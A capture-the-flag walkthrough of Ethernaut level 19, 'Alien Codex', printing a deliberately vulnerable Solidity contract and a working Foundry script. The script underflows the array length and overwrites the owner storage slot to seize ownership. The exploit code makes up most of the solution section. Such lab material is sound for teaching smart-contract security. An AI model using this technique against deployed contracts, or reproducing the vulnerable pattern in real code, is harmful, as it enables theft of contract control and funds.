Level 19 - Alien Codex ⏺⏺⏺⏺

Level Setup

You've uncovered an Alien contract. Claim ownership to complete the level.

Things that might help

  • Understanding how array storage works

  • Understanding ABI specifications

  • Using a very underhanded approach

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

Exploit

make anvil-exploit-level-19

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
script/Level19.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

// ================================================================
// │                       LEVEL 19 - ALIEN CODEX                 │
// ================================================================
interface IAlienCodex {
    function makeContact() external;
    function retract() external;
    function revise(uint256 i, bytes32 _content) external;
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();

        IAlienCodex alienCodex = IAlienCodex(targetContractAddress);

        vm.startBroadcast();

        // Make contact with the alien codex
        alienCodex.makeContact();

        // Retract the codex length by 1, causing an underflow
        alienCodex.retract();

        // Calculate the index in the array where the owner is stored
        uint256 arraySlot = uint256(keccak256(abi.encodePacked(uint256(1))));
        uint256 ownerSlot = 0;
        uint256 indexToModify = type(uint256).max - arraySlot + ownerSlot + 1;

        // Overwrite the owner with msg.sender
        alienCodex.revise(indexToModify, bytes32(uint256(uint160(msg.sender))));
        vm.stopBroadcast();
    }
}

Submit instance... 🥳

Completion Message

This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of 2^256. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017's Underhanded coding contest

Notes

Last updated